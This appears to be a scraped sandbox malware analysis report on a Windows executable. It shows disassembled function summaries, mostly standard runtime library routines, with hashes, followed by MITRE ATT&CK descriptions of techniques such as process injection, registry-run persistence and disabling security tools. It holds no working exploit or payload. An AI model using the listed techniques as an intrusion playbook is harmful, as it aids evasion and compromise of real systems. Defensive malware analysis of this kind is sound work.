Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

_free.LIBCMT ref: 0041F460

Strings

:D, xrefs: 0041F3A2

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID: :D
API String ID: 2155170405-1053662275
Opcode ID: 07631b085f3efb6861f53d723f8358e9b9c38a448beede2a16d26b2da27f171b
Instruction ID: fa5499b5cd3eda04bfc88377f3253522d19501cc4b245931b1b69b5a93999716
Opcode Fuzzy Hash: 07631b085f3efb6861f53d723f8358e9b9c38a448beede2a16d26b2da27f171b
Instruction Fuzzy Hash: 10510A76900219EBCB10EB66DD829EF77B8AF44364B10017FE82197291E7789EC68758

Uniqueness

Uniqueness Score: -1.00%

Function 0041C469, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 0041BFFE: GetOEMCP.KERNEL32(00000000,0041C270,?,?,b;A,00413B62,?), ref: 0041C029

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,b;A,0041C2B7,?,00000000,?,?,?,?,?,?,00413B62), ref: 0041C4C7
GetCPInfo.KERNEL32(00000000,0041C2B7,?,b;A,0041C2B7,?,00000000,?,?,?,?,?,?,00413B62,?), ref: 0041C509

Strings

:D, xrefs: 0041C471
b;A, xrefs: 0041C46B

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: CodeInfoPageValid
String ID: :D$b;A
API String ID: 546120528-3132318954
Opcode ID: 6a9bcc734524778d54e4abbb001ca9c50532ae960f0c13ee6c1a39a90d650e73
Instruction ID: 75df617f4fd5e6b814c41c359152f13e72a3abb5cca6224451d6e123ab299eac
Opcode Fuzzy Hash: 6a9bcc734524778d54e4abbb001ca9c50532ae960f0c13ee6c1a39a90d650e73
Instruction Fuzzy Hash: F0511370A40254AEDB208F26CC816FBBBE6EF50304F14446FD08687251E77CA986CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041F397, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041F40A
_free.LIBCMT ref: 0041F460

Part of subcall function 0041F23C: _free.LIBCMT ref: 0041F294
Part of subcall function 0041F23C: GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0042C638), ref: 0041F2A6

Strings

:D, xrefs: 0041F3A2

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$InformationTimeZone
String ID: :D
API String ID: 597776487-1053662275
Opcode ID: 2805ed9c6e3e76f4e60366656dc31974a1747ac678e16fc7eb26ccf5358ffe83
Instruction ID: f0315c83b8732a07f4ee310041e76e7e9f709fc529a4ce9bc92412bbba86a5c4
Opcode Fuzzy Hash: 2805ed9c6e3e76f4e60366656dc31974a1747ac678e16fc7eb26ccf5358ffe83
Instruction Fuzzy Hash: E6218172800228A7CB30A7259C81EEF77788F61324F1002BBF895A3151DF78DECB8599

Uniqueness

Uniqueness Score: -1.00%

Function 00417939, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00413AFC,00416F17,?,?,00415FEE), ref: 0041793E
_free.LIBCMT ref: 0041799B
_free.LIBCMT ref: 004179D1
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00413AFC,00416F17,?,?,00415FEE), ref: 004179DC

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 2add876c0c13a5442026552f3bf5f8e7e163e9e4532b90915aa240f2ea826394
Instruction ID: 6c454927f12fe8cf2fc27f57303b9e9cadc6fb887b1c90023108bda8f8f94f8e
Opcode Fuzzy Hash: 2add876c0c13a5442026552f3bf5f8e7e163e9e4532b90915aa240f2ea826394
Instruction Fuzzy Hash: D511CA722086056AE7112676ACC2DEF25798BC1375725023FF528962F2EE298CDA411C

Uniqueness

Uniqueness Score: -1.00%

Function 0041802C, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,00418191,00000000,?,0041EAF5,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 00418042
GetLastError.KERNEL32(?,0041EAF5,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,00418191,00000000,00000104,?), ref: 0041804C
__dosmaperr.LIBCMT ref: 00418053

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 279edd8d4ece87b1d3a8637269c62e89e05bb7f154ad503b0c6df0af7cc3e302
Instruction ID: 7d11fe44710ad2e145ebf17425a58a83ae4fe265a77380298ea0c9be17473f9d
Opcode Fuzzy Hash: 279edd8d4ece87b1d3a8637269c62e89e05bb7f154ad503b0c6df0af7cc3e302
Instruction Fuzzy Hash: F3F08632600119BB8B201FA2DC0489BFFA9FF493A0305811EF518D7121CF39E8A2C7D8

Uniqueness

Uniqueness Score: -1.00%

Function 00418095, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,00418191,00000000,?,0041EA80,00000000,00000000,00418191,?,?,00000000,00000000,00000001), ref: 004180AB
GetLastError.KERNEL32(?,0041EA80,00000000,00000000,00418191,?,?,00000000,00000000,00000001,00000000,00000000,?,00418191,00000000,00000104), ref: 004180B5
__dosmaperr.LIBCMT ref: 004180BC

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 4e38e9137bc5694164b1a41a536ff43004c579aa846234ace767dc9fd853d331
Instruction ID: a5a21c8c9008b9e84ed95e0516e1adb1fcdf13e8461108bf5bf834ad1dbe5dd9
Opcode Fuzzy Hash: 4e38e9137bc5694164b1a41a536ff43004c579aa846234ace767dc9fd853d331
Instruction Fuzzy Hash: 96F04F32600519BB8B201F62D80889BBF69FF483A1301851AB519C6111CF39E8A6D7D8

Uniqueness

Uniqueness Score: -1.00%

Function 00422475, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00403FB0,00000000,0042F878,00000000,00403FB0,?,0041F8BF,00403FB0,00000001,00403FB0,00403FB0,?,0041911C,00000000,?,00403FB0), ref: 0042248C
GetLastError.KERNEL32(?,0041F8BF,00403FB0,00000001,00403FB0,00403FB0,?,0041911C,00000000,?,00403FB0,00000000,00403FB0,?,00419670,00403FB0), ref: 00422498

Part of subcall function 0042245E: CloseHandle.KERNEL32(FFFFFFFE,004224A8,?,0041F8BF,00403FB0,00000001,00403FB0,00403FB0,?,0041911C,00000000,?,00403FB0,00000000,00403FB0), ref: 0042246E

___initconout.LIBCMT ref: 004224A8

Part of subcall function 00422420: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0042244F,0041F8AC,00403FB0,?,0041911C,00000000,?,00403FB0,00000000), ref: 00422433

WriteConsoleW.KERNEL32(00403FB0,00000000,0042F878,00000000,?,0041F8BF,00403FB0,00000001,00403FB0,00403FB0,?,0041911C,00000000,?,00403FB0,00000000), ref: 004224BD

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 55b695b80b4adcc94f6d78668d328e8ccb605adb0f24a91616ec9c01678fe125
Instruction ID: 4d922e84e3131fe004bba849cd65aa8d219f7face3b1d8a9aeb38e3bd1f8dc4d
Opcode Fuzzy Hash: 55b695b80b4adcc94f6d78668d328e8ccb605adb0f24a91616ec9c01678fe125
Instruction Fuzzy Hash: E6F03736202124BBCF223F95EC04E8E3F26FF087A4B854125FB1C95130CA728820DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041612C, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00416135

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

_free.LIBCMT ref: 00416148
_free.LIBCMT ref: 00416159
_free.LIBCMT ref: 0041616A

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c1be57b9bdfd3a6ace0b328edb0ccad7c54cf7fca7d109cc86c0d4ce85a00577
Instruction ID: 12e0e64dabf7da0755c098b11253b9f5cf15452db021a22c12e707585047230e
Opcode Fuzzy Hash: c1be57b9bdfd3a6ace0b328edb0ccad7c54cf7fca7d109cc86c0d4ce85a00577
Instruction Fuzzy Hash: 8EE04FB44116219B8A416F12FE435CB3B25BB0970671221BFF40002631CFF680929FCD

Uniqueness

Uniqueness Score: -1.00%

Function 0041938E, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,00000000,?,00000000,004196D7,00403FB0,00403FB0,00000000,0042F878,00000000,00403FB0,00403FB0,00403FB0,00000000,?), ref: 00419477
GetLastError.KERNEL32(004196D7,00403FB0,00403FB0,00000000,0042F878,00000000,00403FB0,00403FB0,00403FB0,00000000,?,?,00412DB5,?,0042F878,00000010), ref: 004194A7

Strings

:D, xrefs: 0041939D

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorFileLastWrite
String ID: :D
API String ID: 442123175-1053662275
Opcode ID: a107efbabd1ceaefbc9049664a9859a0f921a141736af09fabdb77ac58150afa
Instruction ID: fae6d0d28b855dca6a97000de63fb79d109764954d9f840b462aca0c2d9e9a36
Opcode Fuzzy Hash: a107efbabd1ceaefbc9049664a9859a0f921a141736af09fabdb77ac58150afa
Instruction Fuzzy Hash: C0319471B00219AFDB28CF69DD91AEA73B5EF48310F1440BAE50AD7290D774EDC18B69

Uniqueness

Uniqueness Score: -1.00%

Function 0041C255, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 0041BFFE: GetOEMCP.KERNEL32(00000000,0041C270,?,?,b;A,00413B62,?), ref: 0041C029

_free.LIBCMT ref: 0041C2CD

Strings

b;A, xrefs: 0041C25D

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free
String ID: b;A
API String ID: 269201875-2306562146
Opcode ID: 437391c082425e90a4906c7c5b704c73d45a591c45a6540d60d688ba7fc703af
Instruction ID: d6dbc4b4da57dcc4575685f08b718ff71718c342f15e2cbd4f7e5971bb12b61d
Opcode Fuzzy Hash: 437391c082425e90a4906c7c5b704c73d45a591c45a6540d60d688ba7fc703af
Instruction Fuzzy Hash: 8E31DE32900249AFDB11DFA9C880BDF7BE4EF45324F1140AAF810972A1EB39DD90CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041D27B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,E8458D00), ref: 0041D34B
__freea.LIBCMT ref: 0041D354

Part of subcall function 004173DA: RtlAllocateHeap.NTDLL(00000000,?,?,b;A,0041C292,00000220,?,?,?,?,?,?,00413B62,?), ref: 0041740C

Strings

:D, xrefs: 0041D283

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocateHeapStringType__freea
String ID: :D
API String ID: 4073780324-1053662275
Opcode ID: b42f8a157ec8b8bdf0819abf4f81a0a3d226ab99911e1c0e86102064b2aa8f3f
Instruction ID: 99cb78109ea832693dc1ffa7e833634ca6dc25abcb719917b1d5a4036649fc1a
Opcode Fuzzy Hash: b42f8a157ec8b8bdf0819abf4f81a0a3d226ab99911e1c0e86102064b2aa8f3f
Instruction Fuzzy Hash: B331CFB2D0020AABDB209F61DC41DEF7BB9EF44314F08412AFD24A7251D7388D91CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004192A5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,00403FB0,00000000,?,004196C7,00403FB0,00403FB0,00000000,0042F878,00000000,00403FB0), ref: 0041934F
GetLastError.KERNEL32(?,004196C7,00403FB0,00403FB0,00000000,0042F878,00000000,00403FB0,00403FB0,00403FB0,00000000,?,?,00412DB5,?,0042F878), ref: 00419375

Strings

:D, xrefs: 004192B4

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorFileLastWrite
String ID: :D
API String ID: 442123175-1053662275
Opcode ID: 3b75df9ee7541d95afa63570dfd9fb65d832926e6646053551c45a40fb93ce96
Instruction ID: 09c9ff161cedda83659a2d41cda79c706f9a049581a5b6a9b91ccd9fc06193db
Opcode Fuzzy Hash: 3b75df9ee7541d95afa63570dfd9fb65d832926e6646053551c45a40fb93ce96
Instruction Fuzzy Hash: 0221A231A002189BCB24CF19DD909EEB3B9FF4D314B5444BAE91AD72A0D7349EC5CA98

Uniqueness

Uniqueness Score: -1.00%

Function 004191CA, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,00403FB0,00000000,?,004196E7,00403FB0,00403FB0,00000000,0042F878,00000000,00403FB0), ref: 00419266
GetLastError.KERNEL32(?,004196E7,00403FB0,00403FB0,00000000,0042F878,00000000,00403FB0,00403FB0,00403FB0,00000000,?,?,00412DB5,?,0042F878), ref: 0041928C

Strings

:D, xrefs: 004191D9

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorFileLastWrite
String ID: :D
API String ID: 442123175-1053662275
Opcode ID: 82209a47868a08cd8003a5475418b4cde574af8347011f4e8d752be3c59f7faf
Instruction ID: 84a8ebbf5c066bed05fc69fb07fb9bc4a8491ea8776bec6aab18a361a77676bb
Opcode Fuzzy Hash: 82209a47868a08cd8003a5475418b4cde574af8347011f4e8d752be3c59f7faf
Instruction Fuzzy Hash: E521A234A001289BCF19CF29DD909DDB7B9EB49301F1444AEE906D7211D634DE86CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00411092, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004110D6
___raise_securityfailure.LIBCMT ref: 004111BD

Strings

:D, xrefs: 0041119E

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: :D
API String ID: 3761405300-1053662275
Opcode ID: 6a31ecd4d223720cc561307e886c3709dd0ad44e37bdc9273fd9c71558b5b7fa
Instruction ID: c05e140bdb03392d817c1861b156d2781e5292e0a1363b39dd216e9359473056
Opcode Fuzzy Hash: 6a31ecd4d223720cc561307e886c3709dd0ad44e37bdc9273fd9c71558b5b7fa
Instruction Fuzzy Hash: FC21CFB5901240AEE714DF15FEA66847BE4BB58314F10603AE608CB7B1E7F856818F5D

Uniqueness

Uniqueness Score: -1.00%

Function 00417B63, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

Strings

:D, xrefs: 00417B77, 00417BC8
b;A, xrefs: 00417B9A

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: :D$b;A
API String ID: 0-3132318954
Opcode ID: c27e1b13557a33de4fd33dd6154b492d59ffb14813c76f606716fb36d1fd29d5
Instruction ID: 8780cdded6b1f9e8ce377ae4b09d8e3548b30e26746a6d34e52e1cc1bbd47af4
Opcode Fuzzy Hash: c27e1b13557a33de4fd33dd6154b492d59ffb14813c76f606716fb36d1fd29d5
Instruction Fuzzy Hash: A301287730C6115F9B25CE69EC809DB37B6ABC03347248136F914CB295DB38E8C29798

Uniqueness

Uniqueness Score: -1.00%

Function 004133A3, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(00000000,?,?,?,?,004132DA,?,?,00000000,00000000), ref: 004133D1
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,004132DA,?,?,00000000,00000000), ref: 004133E5

Strings

:D, xrefs: 004133AB

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Time$System$FileLocalSpecific
String ID: :D
API String ID: 1707611234-1053662275
Opcode ID: 828203485826e185ab4f2e84175f99fb7119acfe9c6b48f9af6298dc076534dd
Instruction ID: dc97cc322a1dd7095be80d3f4670e15e775b7c4761f8bc3b045e8c9d4b7b88e8
Opcode Fuzzy Hash: 828203485826e185ab4f2e84175f99fb7119acfe9c6b48f9af6298dc076534dd
Instruction Fuzzy Hash: 2B112E7690010CABDB11DF95C885ADF77BCAF08311F505267E916E2180EB38EB858BA9

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 25Kf6vSBoq.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Exploits:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

